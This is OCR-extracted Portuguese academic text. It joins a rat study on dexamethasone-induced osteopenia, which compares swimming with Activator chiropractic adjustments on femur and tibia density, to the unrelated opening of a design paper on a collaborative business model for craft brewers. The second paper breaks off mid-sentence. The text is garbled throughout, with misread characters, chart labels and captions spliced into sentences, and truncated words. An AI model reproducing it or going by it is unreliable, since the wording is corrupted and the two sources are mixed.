- Controle Dexametasona (CD): ratas que receberam tratamento de Dexametasona

e nao fizeram natacao e nem o ajuste quiropratico, n:8;

»  Natagdo Dexametasona (ND): ratas que fizeram natacdo e que receberam trata-
mento de Dexametasona, n:9;

«  Nataco e ajustados com Activator” mais Dexametasona; (NAD): ratas que fizeram
natacao e receberam ajustes quiropratico, além do tratamento de Dexametasona,
n:9;

«  Ajustados com Activator” Dexametasona (AD): ratas que nao fizeram exercicios e

receberam ajustes quiropratico e tratamento de Dexametasona, n:8.

n: NUumero amostral de cada caixa.




2.3 ASPECTOS ETICOS

Os animais utilizados neste estudo foram tratados de acordo com a lei n°. 11794 de

8/10/08, que regulamenta o uso de animais para a pratica didatica cientifica e os Principios

Eticos para Experimentacao Animal estabelecido pelo Colégio Brasileiro de Experimentagao
Animal (COBEA). O trabalho foi submetido & avaliagcdo da Comissao de Etica no Uso de Ani-
mais (CEUA) da Universidade Feevale aprovado sob o processo nimero 03.14.032 em 24 de

julho de 2014.

2.4 PESAGEM DOS ANIMAIS

Os animais foram submetidos aos procedimentos de pesagem no primeiro dia de ex-

perimentacao e divididos em cinco grupos, conforme o peso médio de cada um. A média de
peso dos grupos foi utilizada para a padronizacéo das doses de dexametasona, uma vez que

os tratamentos tém influéncia consideravel sobre o peso dos mesmos.

2.5 INDUCAO DA OSTEOPENIA

Administracao por via intramuscular de Dexametasona, em dose de 10 mg/kg, (adap-
tado de FATTORI, 2011), uma vez por semana, durante 4 semanas todas as quarta-feira as 1

horas, exceto o Grupo Controle, que nao foi induzido a osteopenia.




Figura 1 - Adaptador utilizado na extremidade do aparelho Activator®, para ajustes em

roedores (A). Ajuste utilizando-se o aparelho Activator®, modelo 1V, na articulagdo do
joelho do rato (B).

Fonte: Gottert, 2010; Dalcin, 2008.

2.6 AJUSTE COM ACTIVATOR®

Os ajustes quiropraticos, aplicados no grupo (AD) e
(NAD), trés vezes/semana por quatro semanas, foram realiza-
dos com a forca 1 do equipamento Activator®, modelo IV, no
qual foi colocado um adaptador na extremidade para maior
precisao do ajuste em ratos.

Os ajustes foram realizados com o animal em decubito
dorsal, na porgao proximal da tibia, mais precisamente sobre
o tubérculo da tibia, a um angulo aproximado de 90°, sendo o

Activator® posicionado de medial para lateral (figura 1).

2.7 PROTOCOLO NATACAO

Para o experimento foi utilizado uma adaptagao do
programa aerobico (Tanno et al., 2002), ratas que foram sub-
metidas a sessoes de treinamento fisico por natagao em uma
frequéncia de cinco vezes por semana durante quatro sema-

nas consecutivas com um tempo de treinamento progressivo

Nas primeiras semanas seguiu-se o protocolo de
adaptacao a agua para minimizar possiveis efeitos psi
gicos e exacerbar o estresse fisico: as ratas nadara

dez minutos no primeiro dia e o tempo foi aumentad¢ gra-
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dualmente de cinco minutos/dia até completar os 60 minutos,
com isso seguiu o protocolo até o ultimo dia de natacao com
o tempo de 60 minutos. O tanque medindo 100cm x 50cm x
60cm, contendo agua aquecida em 30°C £ 1°C a uma profun-
didade de 40cm, suficiente para evitar que os animais apenas
flutuassem ou apoiassem seu corpo na cauda (figura 2). Em
cada sessao de treinamento, oito ratas foram colocadas simul-
taneamente para nadar em tanques diferentes, ou seja, quatro

em cada tanque.

2.8 SACRIFICIO DOS ANIMAIS

Os animais foram sacrificados através da anestesia

profunda com uso sobre dose barbiturico (tiopental sédico) so-

lucao de 1,25% em dose de 100 mg/kg, por via intramuscular

Figura 2 - Ratas submetidas a sessdes de treinamento fisico por natago. (i.m.). Sob a supervisdo de um Médico Veterinario, conforme
Fonte: Préprio autor, 2015

recomendagobes legais (CONSELHO FEDERAL DE MEDICINA
VETERINARIA, 2012).

2.9 OBTENCAO DAS PECAS ANATOMICAS

ApoOs o sacrificio, os fémures e tibias direito de ¢ada
animal foram obtidos por meio da retirada de tecidos

com utilizacao de tesoura e bisturi, de maneira cuidadosa,
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Figura 3 — (Montagem com uma imagem da tela de trabalho do software Image-Pro
Plus 4.0). Observar a porgao trabecular do osso (verde escuro) que altera entre os gru-
pos animais, assim como a porgdo compacta (verde claro). Na imagem do grupo AD,
destaca-se o AOI (seta branca) utilizado para a medida trabecular do fémur e o grafico
abaixo com o valor de densidade média obtida (circulo vermelho). Legenda: grupos (C)
Controle, (CD) Controle Dexametasona, (ND) Natacdo Dexametasona, (AD) Activator®
Dexametasona, (NAD) Natagdo, Activator® mais Dexametasona.

Fonte: Préprio autor, 2015.

evitando lesionar 0 0sso e/ou deixar tecidos moles aderidos a
peca. Em seguida, foram colocados em sacos plasticos, iden-

tificados e congelados em solucao salina 0,9% a -200C.

2.10 ANALISE DE DENSIDADE OSSEA

Cada um dos fémures e tibias ficou devidamente po-
sicionado para obtencao da incidéncia lateral. Todas as ima-
gens radiograficas foram obtidas usando um procedimento
estandardizado pela clinica veterinaria de pequenos animais,
onde foram realizadas as radiografias digitais. (Kodak KC Poin-
t-of-care CR).

Em seguida, as imagens foram avaliadas quanto a den-
sidade Ossea, por meio de analise densitométrica semi-quanti-
tativa (adaptado de RASIA-FILHO, et al., 2002; XAVIER, et al.,
2005). Utilizando o software Image-Pro Plus 4.0. As imagens
obtidas das areas selecionadas foram convertidas em uma es-

cala de cinza de 8-bit (0-255 niveis de cinza). As condicdes de

ampliacao de imagem foram mantidas constantes durante togo
o procedimento.

Neste estudo, foi utilizada uma area de interessa (
para as medidas porcao trabecular (figura 3). Sendo essa um

retangulo de 5.47mm’ para a densidade da porc&o trabécular.



3 APRESENTACAO,
ANALISE DOS DADOS E
DISCUSSAO

Foram obtidas pelo menos trés leituras em cada imagem Ossea analisada e a média dos
dados foi registrada. Uma area da imagem livre foi determinada e utilizada para corrigir as me-
didas da densidade optica, servindo como imagem de background. Foi realizada a subtracéo

de cada fundo marcado com o fundo de corregédo adaptado de XAVIER et al., 2005).

2.11 ANALISE DOS DADOS

As variaveis funcionais foram processadas por meio do teste de analise de variancia
(ANOVA) de uma via para medidas repetidas. Todas as analises foram seguidas pelo teste

post-hoc de Tukey (p< 0,05).

A sequir, resultados obtidos com o presente trabalho e a discussao dos mesmos.

3.1 PESAGEM

Durante o experimento cada animal foi pesado semanalmente, para acompanhamento
e controle desta variavel utilizando uma balanca digital. Quanto a pesagem nao houve dife-
renca significativa de peso até a ultima semana de experimentos para os animais, ambos 0s
grupos obtiveram um incremento homogéneo do peso, sendo que nao ocorreu restricao nutfi-

cional (Grafico 1).
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No presente estudo os grupos (C), (CD), (ND), (NAD),
(AD), mantiveram a média de peso dos animais com aumento
progressivo até a Ultima semana de forma homogénea.

Conforme a pesquisa de Barcellos Filho et al., (2010),

Pauli e colaboradores (2005), os efeitos da natacao e da dexa-

metasona na dose utilizada de 5 dias/por dez semanas (2ug/

dia diluida em 150l de NaCl - 0,9%) resultou que o peso cor-

poral nao foi evidenciado diferenca significativa entre os ani-

MK mais. O treinamento aerdbio induz mecanismos de estresse
m03/11/2014
06/12/2014 possivelmente por hiperativacao do eixo hipotalamo-hipdfise-
-adrenal. A natagao e a administragao crénica de dexametaso-
na nao causaram alteracoes no peso corporal.
C w ND NAD AD No estudo de Fattori (2011), os animais submetidos

o . . - ) apenas a administracao de dexametasona tiveram diminui-
Gréfico 1 - Peso dos animais na primeir, a quarta e Ultima semana de experimento nos

diferentes grupos. Fonte: Proprio autor, 2015. ¢d0 da massa corporea. Concluindo que os glicocorticoides

tenham maior influéncia sobre o peso dos animais do que a
ovariectomia.

Diversos autores tém demonstrado alteragdes meta-
bolicas em modelos experimentais com roedores in vivo por
administracao de glicocorticoide. Perda de massa musgular
associada a hipertrofia do figado, reducdo do peso gorpo-

reo em ratos (CALDEFIE-CHEZET et al., 2002, SAVARY |et al.,




Sumario

2001) alteracao do perfil proteico e do perfil lipidico (BARBERA

Densidade dssea Fémur
et al., 2001; HOLNESS et al., 2005; NOVELLI et al., 1999) s&o

B
A a
B caracteristicas comuns apoés tratamento com dexametasona.
Aumento dos niveis plasmaticos de glicose e de insulina tam-
bém é observado.
A seguir, apresentagdo e discussdo dos dados refe-
s (o] ND NAD AD

rentes a densidade 6ssea trabecular dos 0ssos analisados no

Gréfico 2 - Densidade 6ssea trabecular dos fémures direito nos diferentes grupos do presente estudo.
estudo. Nota-se diferenca significativa em relagao do grupo (AD) e (C), (AD) e (ND).
Letras diferentes quando diferencga significativa de (p< 0.01).Fonte: Préprio autor, 2015.

3.2.1 DENSIDADE OSSEA TRABECULAR

A densidade Ossea trabecular mostrou diferenca

significativa do grupo AD em comparagédo aos grupos (C)

Densidade dssea Tibia

b e (ND) para fémures (p< 0,01), aumento de 11,83% e 9,3%
‘%200 a8 A A ABC respectivamente. Para tibias o grupo (AD) apresentou diferen-
§ i AC ca tambeém significativa em relacao ao grupo (ND), aumento de
§ 13,41% (p< 0,001) (Grafico 2 e 3).

140

g

C co MO NAD AD
Densidade d¢ssea trabecular das tibias direita nos diferentes grupos. Nota-se
remento em relagdo do grupo (AD) e (C) (P > 0.05), diferenga significativa
(AD) e (ND), letras diferentes quando diferenga significativa (p< 0.001).
Fonte: Proprio autor, 2015.




DISCUSSAO

Neste estudo foi analisada e comparada, apds oito semanas de tratamento, a densi-
dade 6ssea trabecular entre os grupos: (C), (CD), (ND), (NAD) e (AD). Os resultados apre-
sentaram relevancia no protocolo ajuste quiropratico que apresentou os maiores indices na
densidade trabecular nos 0ssos fémures e tibiais, em comparacao com ambos 0s grupos e
principalmente ao grupo submetido a natagao (figura 4).

No estudo anterior de Veiga (2012), o ajuste quiropratico que foi realizado uma vez/
semana por quatro semanas, e foi observado um aumento de 5% da densidade ¢ssea no fémur
em comparagao ao grupo sedentario, destacando-se ser um estimulo diretamente ao tecido
osseo. No presente estudo o ajuste quiropratico foi realizado trés vezes/semana por quatro
semanas e apresentou aumento significativo 9,3% no fémur e 13,41% na tibia (p< 0.01) em
comparacao ao tratamento de natacao que foi realizado por 5 dias/semana, 60 minutos/dia
durante quatro semanas.

Os dados obtidos evidenciaram que o ajuste quiropratico mostrou os maiores indices
na densidade trabecular nos ossos fémures e tibiais. Nesta perspectiva novos estudos em mo-
delos animais poderao subsidiar a consideragao da implementacao do ajuste com Activator”
no tratamento de pacientes com fragilidade ossea. Auxiliando como forma de contribuir para o
entendimento das variaveis decorrentes da acao na pratica da quiropraxia.

Apesar da escassez de dados disponiveis na literatura quanto ao ajuste quiropratigo
como estratégia para o tratamento da osteoporose, este trabalho torna-se relevante por est
esses efeitos, que correlacionem o ajuste com Activator” em modelo animal.

Aléem disso, cresce o numero de pesquisas relacionadas a dor que utilizam arjimais

como modelos experimentais (PICKAR & WHELLER, 2001; CRAMER et al., 2004; IANUZZI| et




al., 2011; REED et al., 2013), inclusive com o uso do Activator® (SONG et al., 2006), que no seu
estudo foi demonstrado o efeito do tratamento com Activator®, sobre a coluna lombar, em ratos
com inflamacao aguda no forame intervertebral de L5, provocou reducéo nas sensibilidades
mecanica e térmica, as quais foram aumentadas pela lesao e reduziram a excitabilidade de
neurdnios do ganglio da raiz dorsal e fatores pro-inflamatoérios nesse ganglio, demonstrando,
que o tratamento com Activator® € capaz de reduzir a sensagao dolorosa nessas condigoes.
Estudos recentes compararam a forga e a velocidade produzidas na manipulacao vertebral e
com o uso do Activator®, constatando que, enquanto a forca minima e maxima aplicadas na
manipulacéo vertebral manual variaram de 40-400 Newton (N), o Activator® IV, o modelo mais
atual do Activator®, produziu forga mecanica minima de 121N e méxima de 211N. (KAWCHUK
et al, 2006; COLLOCA et al, 2005). Essa menor forga pode proporcionar redugao nos riscos
de lesdes nos tecidos articulares, embora permitindo o tratamento da regiao lesionada (FUHR
& MENKE, 2005). Contudo a capacidade de controlar a forca e a pressédo aplicadas sobre
articulagcao sé&o vantagens que o instrumento apresenta quando comparado @ manipulagao
vertebral. A intervencdo com Activator® nao ocorre apenas no local da lesdo. STIEVEN (2010),
usou esse instrumento aplicado diretamente em segmentos da coluna vertebral de ratos em

remobilizagao livre e a intervencao por duas semanas com o Activator®, aplicado na coluna

vertebral, segmentos L4-L5, provocou aumento na sensibilidade mecanica de ratos, reduzida
pela imobilizagao do membro. Essa intervengao ainda ocasionou recuperacao mais rapida/em
parametros da marcha nos animais (DALCIN, 2008 apud SCHIMIDT, 2010). Afirmando a

cia do tratamento quiropratico como o emprego do Activator®.




Quanto a administracéo de dexametasona por quatro semanas em dose de 10 mg/kg,
uma vez por semana, durante 4 semanas na promogao de perda 6ssea trabecular, foi obser-
vado apos dois meses de tratamento onde apresentou um incremento da densidade 6ssea
trabecular em tibiais na comparacao com a natagéao.

Por conseguinte, através dos resultados deste trabalho, € observado que a natagao nao
resultou em melhora dos niveis de densidade O0ssea nos animais. Isto € possivel segundo a
literatura, pois o protocolo de natagdo com peso-rolamento 5 dias/semana durante 60 minutos
por 8 semanas nao foi capaz de aumentar a densidade ¢ssea; o conteido mineral ¢sseo, tanto
no colo quanto na diafise (SILVA, 2011), BOURRIN et. al., (1992). A falta de forcas de reacéo
do solo, induzidas por imerséao em agua pode ter contribuido para a perda ¢ssea observa-
da. Gravidade “normal” seria um cofator importante nos efeitos osteogénicas de exercicio que
apresentaram que o exercicio de natacao reduziu a reabsorgao e a superficie osteoide, suge-
rindo uma diminuigao do “turnover” 6sseo. O que sugere na pesquisa de Pauli et al. (2006),
a natacao com o tempo de 5 vezes/semana, Thora/dia, com sobrecarga de 5% em relacéo
a0 peso corporal do rato, € um agente estressor que leva o organismo a um desequilibrio da
homeostase corporal; esse desequilibrio leva a secrecao de diversos tipos de horménios e um
deles é a corticosterona em ratos, um biomarcador de estresse.

Confirmando no experimento de Barcellos Filho et al., (2010), natagédo 5 vezes/sema-
na, Thora/dia com sobrecarga de 3% do peso corporal, concluiu que os efeitos da natac
da dexametasona em ratos, induz mecanismos de estresse gerando desmineralizagao ¢
possivelmente por hiperativagéo do eixo hipotalamo-hipofise-adrenal, pois o prolongado tempo

de treinamento de natagao, gera exposicao aos hormonios do estresse, como a corticostferona




em ratos, afetando a capacidade de reabsorcdo éssea (WILSON; FOSTER, 1992; Hart et al.,
2001). No presente estudo a natagéo resultou em possivel estresse, gerando diminuicdo da
massa ¢ssea. Os resultados estdo também de acordo com o estudo de Contarteze (2006), que
usou o protocolo de natacao 5 dias/semana, durante 3 semanas com aumento progressivo. Ao
comparar com exercicio de impacto em roedores, somente o exercicio de natagcao provocou as
respostas endocrino/metabdlicas ao estresse gerando elevagdes das concentragoes séricas
de hormonio adrenocorticotrofico e corticosterona, ativando o estresse que conduziu a altera-
¢des metabodlicas reduzindo a formagao do 0sso, a sintese de colageno, a absorgao de calcio,
acelerando o ritmo de reabsorgao 6ssea, causando osteoporose.

Contrario aos nossos achados, animais jovens, o exercicio de natacao obteve aumento
do conteudo mineral 6sseo e forgca 6ssea. Outros estudos a natagao com peso-rolamento cinco
dias/semana durante 60 minutos por 12 semanas, relataram alteracoes na geometria do 0sso
de animais treinados o que reflete uma distribuicdo mais favoravel do tecido 6sseo (HART et
al., 2001).

Na comparagao do grupo (CD) com o grupo (ND), mostrou leve incremento em tibias
de 9,9% (p< 0.05). Os resultados estédo de acordo com o estudo de Pocock et al., (1987), que

a densidade 6ssea pode aumentar até 20% apods trés meses da descontinuagao do uso de

glicocorticoide em humanos jovens. Apos dois meses da retirada do uso de glicocorticoides,/a
massa o0ssea pode aumentar ou “recuperar” a densidade o6ssea (BUCKLEY et. al 2000).
cini e colaboradores (2004), as moléculas de glicocorticoides geram alteragédo do cresci
longitudinal quanto a baixa massa 0ssea, que sao reversiveis apds suspensao do mesmao, com

a recuperacao gradual e completa da perda ¢ssea em humanos.




Conforme estudo de Grahnemo et al. (2014), ratos receberam dose de 1; 12,5; 50; 125
e 250 mg por 5 /dias durante uma semana. Sendo encontrado aumento da densidade 0ssea
trabecular e diminuicao no osso cortical. Segundo os autores o achado € independente do
estado de estrogénio e marcadores de osteocalcina em roedores.

De acordo com o resultado deste estudo, foi encontrado na literatura resultados se-
melhantes quanto ao modelo de indugao de Dexametasona, que apresentaram alteracoes na
reabsorgéo éssea de 0ssos longos, em que a corticosterona em altas doses (10 mg/dia) apos
tratamento com glicocorticoides, apresentaram diminuicdo na massa 0ssea, observaram au-
mento na massa dssea em doses (2,5 mg/dia), e outros mantiveram inalterada a massa ossea
dose de (5 mg/dia), tendo relacao com o tempo dependente e espécie animal como ratos e
camundongos (GARY et al., 2010), (KIMMEL, 2002). A indug&o de osteoporose (Azium® 2 mg/
ml), em dose de 7 mg/kg, uma vez na semana, através da administragdo de corticoides geral-
mente utiliza curtos espagos de tempo (por volta de cinco semanas), normalmente obtém éxito
na promogao de perdas osseas em ratos. (FATTORI, 2011; SANTOS, 2004 e FERREIRA, 2007),

Os resultados deste estudo permitem concluir o modelo de inducao de osteopenia
empregado se mostrou efetivo, e ao comparar o grupo Activator® Dexametasona (AD) com
Natacao Dexametasona (ND), o ajuste quiropratico mostrou importante relevancia em relagao
a natacgao.

Assim, pode-se supor que a natacao, apesar de nao ter produzido alteragdes 0ssgas
esperadas, por possivel estresse da atividade aquatica, ocasionou pequeno incrementg nos

valores para os fémures e uma importante redugao para as tibias.




Afirmando que a intervencao quiropratica apresentou de forma eficaz no ganho da mas-
sa 0ssea, pois 0 uso do Activator® dispara uma forgca mecanica e magnitude controladas que
possui um sistema interno de molas que desenvolve uma forga de impacto em alta velocidade
diretamente sobre a regido a ser tratada. Trierweiler e cols. (2012) e Gottert (2010) desenvolve-
ram uma ponteira adaptada que foi acoplada na extremidade do Activator® IV em substituicao
a ponteira original do instrumento, essa ponteira que entra em contato com a regiao a ser tra-
tada. Com a reducao, a area de contato da ponteira adaptada foi equivalente a 25% da area
da ponteira original do instrumento, uma redugéo de cerca de quatro (04) vezes na area de
contato em comparacao com a ponteira original. Assim, a forca desenvolvida pelo Activator® IV
ficou concentrada em uma menor area de contato. Como a area de contato € um dos fatores
que influencia a magnitude da forca, Duarte et al. (2014) demonstraram que o uso da ponteira
adaptada no Activator® IV provocou acréscimo no valor do pico de forca desse instrumento,
apresentando uma forca de impacto ao disparar para o ajuste.

Sendo assim o método mais relevante de redugao do nivel de osteopenia foi o proto-
colo de ajuste quiropratico, pois apresentou maior densidade trabecular nos fémures e tibias
avaliados.

A analise das imagens para a densitometria 6ssea através do uso de radiografias digi-
tais mostrou-se uma boa ferramenta na investigacao 6ssea dos animais. Sugere-se, a contin
dade do presente trabalho, procedendo com a analise histomorfologica dos materiais disp@ni-

veis (0ssos) para gerar dados que corroborem aos obtidos neste trabalho.
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Figura 4 - Montagem com uma imagem da tela de trabalho do software Image-Pro Plus 4.0, destacando a diferenga da
densidade 6ssea dos grupos (C) Controle, (CD) Controle Dexametasona, (ND) Natagdo Dexametasona, (AD) Activator®
Dexametasona, (NAD) Natagado, Activator® mais Dexametasona. Fonte: Préprio autor, 2015.

Os resultados deste estudo permitem concluir, que o modelo de inducao de osteopenia
empregado se mostrou efetivo, e ao comparar o grupo Activator” Dexametasona (AD) com Na-
tacdo Dexametasona (ND), pois ajuste quiropratico mostrou relevancia em relagéo a natacao,
possivelmente pela impactacao da forca mecanica do aparelho Act/vaz‘or‘ﬁ’gerado no momento
de ajuste. Como perspectiva, sugere-se a realizacao de experimentos semelhantes incluindo
um grupo de impacto (atividade em esteira), e mensurando a densidade ¢ssea trabecular/an-
tes, durante e ao término do tratamento para um melhor controle das variaveis, bem como a
incluséo de outros protocolos quiropraticos (ex.: Impulse®). Também como novas abordagens

do tratamento quiropratico, no intuito de agregar aos achados desta pesquisa.


http://www.goimpulse.com/index.php?p=77462
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0 mercado de cerveja artesanal vem crescendo a cada ano, de forma que atualmente exis-
tem cerca de 200 microcervejarias no pais, com diferentes tipos de modelos de negdcio.
Porém, os pequenos produtores de cerveja artesanal tém dificuldades de entrar no merca-
do de trabalho formal devido a burocracia, ao alto investimento e, as vezes, até a falta de
conhecimento, que acaba trazendo empecilhos ao negdcio. Nesse contexto, objetivou-se
projetar um modelo de negdcio colaborativo que incentive o pequeno cervejeiro artesanal
3 langar seu produto no mercado. Para isso, com base em uma pesquisa qualitativa, foram
realizadas entrevistas com quatro empresas relacionadas ao universo cervejeiro, a fim de
entender esse universo. O projeto resultou em um modelo de negdcio que propde um
ambiente colaborativo, em que o pequeno produtor de cerveja artesanal possa comecar a
sua empresa, dispondo de uma equipe de consultores de diversas dreas do conhecimento
e, 30 mesmo tempo, de um equipamento profissional para produzir suas cervejas.
Palavras-chave: Cerveja. Design. Modelo de negdcio. Empreendedor.

BSTRAC

The craft beer market is expanding every year, with currently about 200 microbreweries
in the country, with different types of business models. However, small producers of
craft beer have difficulties to enter the formal labor market due to bureaucracy, the high
investment and sometimes even the lack of knowledge, which hampers business. In this
context, we aimed to design a collaborative business model that encourages small craft
brewers to launch their product in the market. For this, based on a qualitative research,
we conducted interviews with four companies related to the brewing universe in order to
understand it. The project resulted in a business model that proposes a collaborative envi-
ronment where the small producers of craft beer can start their business, with a team of
consultants from various fields of knowledge and, at the same time, the most professional
equipment to produce their beers.

Keywords: Beer. Design. Business model. Entrepreneur.




INTRODUCAO

Segundo Laranjeira (2007), a cerveja é a bebida alcodlica mais consumida no Brasil.
De todas as doses anuais de bebidas consumidas no pais, em torno de 61% séo de cerveja. O
vinho fica com 25%, os destilados com 12% e os outros tipos de bebidas com 2%.

No quintal de casa ou espremidos na cozinha do apartamento estdo os pequenos pro-
dutores de cerveja, produzindo suas receitas por paixao ou, algumas vezes, tentando comecar
um negocio. Esses pequenos produtores tém muitas dificuldades de entrar no mercado, de
forma que apenas aqueles que tém espirito empreendedor acabam arriscando. Para Dornelas
(2001), os empreendedores sdo pessoas apaixonadas pelo que fazem e que néo se contentam
em ser apenas mais um no mercado: eles querem deixar seu legado, sendo reconhecidos e ad-
mirados. Para inovar, o empreendedor precisa estar atento ao mercado e as suas mudangas.
De acordo com Drucker (2003, p. 93), “a oportunidade é a fonte da inovagéo”.

Uma das solugoes para que o empreendedor ndo se perca e acabe falindo é pensar
como sera o seu modelo de negoécios. Segundo Osterwalder e Pigneur (2011, p. 14), “um mo-
delo de negocios descreve a logica de criagao, entrega e captura de valor por parte de uma
organizacao”. Osterwalder e Pigneur criaram uma ferramenta chamada Quadro do Modelo de
Negocio, a qual tem uma linguagem facil e pode ajudar os empreendedores a descreverem e
manipularem seus modelos de negocio de maneira légica.

Diante desse contexto, € possivel afirmar que o mercado de cerveja artesanal precisa
investir mais no desenho do modelo de negocio. Nesse sentido, o designer torna-se o princi-
pal agente para a construgao e a valorizagao desse produto. Uma das formas de incentivar
e auxiliar o crescimento dessa economia € por meio do design e da inovacao. Para Vianna et

al. (2012), a inovacao guiada pelo design veio contribuir para melhorar o mercado, pois, para
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inovar, é preciso focar o desenvolvimento, a abertura ou a atendimento de novos mercados. As-
sim, a pergunta que guia este estudo é: como o design pode projetar o desenho de um modelo
de negdcios, que incentive os pequenos produtores de cerveja artesanal da regiao da grande
Porto Alegre a produzirem e competirem de forma inovadora e economicamente sustentavel?

O objetivo do presente trabalho consiste, assim, em analisar e projetar um modelo de
negocio colaborativo que incentive o pequeno cervejeiro artesanal a langar seu produto no
mercado. Como objetivos especificos, este projeto busca analisar o modelo de negocio atual
dos produtores de cerveja artesanal da grande Porto Alegre e compreender a situacao do va-
rejista que vende a cerveja artesanal.

O Rio Grande do Sul € um dos estados mais importantes na producéao de cerveja ar-
tesanal no Brasil. O interesse de empreender desses cervejeiros cresce a cada dia, mas a
inovacao no modelo de negocio acaba ficando em segundo plano, o que, as vezes, faz com
que a empresa feche as portas. O design pode ser o grande catalizador dessa mudanca, cola-
borando para a criagao de negocios inovadores. Alem disso, tal mudanca pode contribuir para

a economia, fomentando a industria e incentivando a produgéao artesanal.

2.1 CERVEJA

A producao e o consumo de cerveja existem desde os primérdios da civilizagcao. S
do Beltramelli (2012), a cerveja surgiu ha cerca de sete mil anos atras, na Mesopotamia/ atual

Iraque. Morado (2011), assim como Beltramelli (2012), acredita que a cerveja tenha nascido




no Oriente Médio ou no Egito. De acordo com Beaumont (2012), cerveja € qualquer bebida
iniciada com graos, geralmente milho, arroz ou lUpulo e fermentada por algum tipo de levedura.

As cervejas industriais séo produzidas em grande escala contam com um enorme in-
vestimento em marketing. Utilizam menos ingredientes nobres e colocam mais artificios para
aumentar o volume e diminuir os custos. As cervejas industriais geralmente sao as do tipo
Standard Lager e seu estilo € o mais difundido no mundo. Atualmente, a AB-inBev & a maior
cervejaria do mundo (BELTRAMELLI, 2012).

Segundo Beltramelli (2012), as cervejas artesanais tém perfis mais complexos se com-
paradas as cervejas produzidas industrialmente pelas grandes marcas, oferecendo experi-
éncias gastrondémicas que dispensam um consumo exagerado. Enquanto grande parte das
cervejarias tem amplos portfélios de marcas que se resumem a alguns perfis de sabor, as
cervejarias artesanais oferecem uma quantidade muito maior de experiéncias gustativas.

As cervejas artesanais vém cada vez mais assumindo um carater revolucionario, ba-
tendo de frente com as grandes corporacdes e conquistando novos adeptos dessa cultura

cervejeira artesanal.

2.2 EMPREENDEDORISMO E INOVACAQ

Segundo Dornelas (2001), a origem da palavra empreendedor vem do francés entré-

preneur, que significa aquele que assume riscos e comeca algo novo. Para Dornelas (2001),
0s empreendedores s&0 pessoas especiais, apaixonadas pelo que fazem, néo se contentando
em ser apenas no mercado, eles querem ter seu trabalho reconhecido e admirado, quefendo

deixar a seu home e empresa na historia.




Uma das palavras mais citadas no mundo do empreendedorismo € inovagao, mas o
fato de citar tal termo ndo quer dizer que os conceitos de inovacao sejam efetivamente utili-

zados. Segundo Vianna et al., “Apenas 4% dos novos produtos lancados nos Estados Unidos

sdo bem-sucedidos” (2012, p. 12). Tigre (2006), apresenta uma distingdo entre inovacao e
invencao, para o autor, invengao € a criagao de um processo, técnico ou produto técnico. Ja
inovacao € a aplicacao pratica de uma invengao.

Inovacgao ¢é a forga fundamental para fazer com que a economia cresca, abrindo espago
para novas formas de prosperidade (SCHUMPETER, 1982). Pinheiro, Alt e Pontes (2011, p. 17)
completam essa definicéo, afirmando que “inovar é transformar ideias em valor. E sobre gerar
solugoes que transformam a maneira como as pessoas vivem e trabalham e, principalmente,

equilibram beneficios para negoécios e sociedade”.

Muitas pessoas veem o design apenas como um campo responsavel meramente por
embelezar as coisas. Entretanto, o design € uma das principais areas que podem contribuir
para inovacao na sociedade. Lookwood (2004) afirma que o design é um recurso para se che-

gar a inovagao.

2.3 MODELO DE NEGOCIOS

Os anos noventa ficaram marcados pela popularizagao da internet, resultando em gran-
des transformagdes na forma como a sociedade faz negocios e se relaciona. Com essas trans-
formacdes, surgiu a necessidade de mudar o modo de organizar os negoécios, modelando-os

sob uma nova o6tica (OROFINO, 2011).




Para Osterwalder e Pigneur (2011, p. 4), “incontaveis modelos inovadores surgem a
cada dia. Industrias completamente novas se formam enquanto as antigas desabam. Os inova-
dores desafiam a velha guarda, que luta fervorosamente para se reinventar”. Os autores ainda
afirmam que “um modelo de negocios descreve a logica de criacao, entrega e captura de valor
por parte de uma organizagdo” (OSTERWALDER; PIGNEUR, 2011, p. 14).

Em 2010, Osterwalder e Pigneur criaram e disponibilizaram uma ferramenta de lingua-
gem comum, permitindo a qualquer pessoa descrever e manipular facilmente modelos de ne-
gécio. Essa ferramenta € chamada de quadro de modelo de negocios Essa ferramenta possui
nove componentes basicos, que mostram de maneira I6gica como uma empresa ou orga-
nizacao pode gerar valor. “Os nove componentes cobrem as quatro areas principais de um
negécio: clientes, oferta, infraestrutura e viabilidade financeira” (OSTERWALDER; PIGNEUR,
2011, p. 15).

2.4 MARCA E EXPERIENCIA

Hoje o mundo coorporativo € dominado por grandes marcas, mas o ato de marcar é
muito antigo. Para Pavitt (2003), a origem da palavra brand, que em portugués significa marca,
vem da pratica de marcar ou gravar algo com ferro quente. O gado ou rebanho era “marcado”
com o objetivo de identificar quem era seu proprietario.

A partir do século XIX, comegou uma grande mudanca. Com o desenvolvimento das
empresas e a possibilidade de distribuicao em larga escala, os empresarios perceberam que
era necessario mais do que apenas ter uma marca para identificar a origem do produto./Hoje,

em todo o mundo, praticamente tudo que é vendido possui marca.




As marcas funcionam como importantes ferramentas de comunicacéo, estabelecendo
um elo entre a empresa e o consumidor. Para Ellwood (2000, p. 25), “a marca ¢ a aura que
envolve o produto ou servico e que comunica ao consumidor os seus beneficios, diferencian-
do-os da concorréncia”.

Uma marca com um bom nome e uma identidade visual forte ajuda muito uma empresa
a se consolidar no mercado. No entanto, € na prateleira que o assunto se complica, quando
0 produto esta rodeado de concorrentes, 0s quais, muitas vezes, apresentam um pregco muito
mais atrativo aos olhos do consumidor. Nesse contexto, fica dificil de competir, mas é nesse
momento em que entra o designer, criando a embalagem e pensando no ponto de venda (PDV)
como um todo. Para Perez (2004, p. 66), a embalagem “deve causar impacto para que possa
ser vista e diferenciada, mas também tem de criar uma conexao emocional com as pessoas, a
fim de que possa ser apreciada, desejada”.

Segundo Moritz (2005), o design de servigos pode auxiliar na criacdo de novos ser-
vigos. Pode, também, melhorar os ja existentes, tornando-os mais Uteis e desejaveis para 0s
clientes, sendo eficientes e eficazes para a organizacao a que prestou o servico. Com base no
que os autores mencionaram, pode-se concluir que as experiéncias sao unicas e que a forma

como cada um reage vai depender em grande parte do que o designer produzira. Cabe ao de-

signer, assim, a tarefa de interpretar e gerar solugoes criativas e relevantes para a sociedadg.




METODOLOGIA

3.1 DELINEAMENTO CIENTIFICO

Esta pesquisa foi delineada de acordo com os procedimentos criados por Prodanov
e Freitas (2009) e possui carater tedrico-pratico, buscando o conhecimento de varios autores
com o intuito de realizar uma solugao adequada por meio de etapas projetuais.

O objeto deste estudo € bibliografico e de pesquisa de campo. Para uma melhor com-
preensao dos modelos de negocio, foram selecionadas para serem entrevistadas, empresas
que englobassem diferentes partes da cadeia cervejeira. As quatro organizagdes selecionadas
sao: Barco Brewers, cervejaria que possui um modelo de negocio colaborativo, localizada na
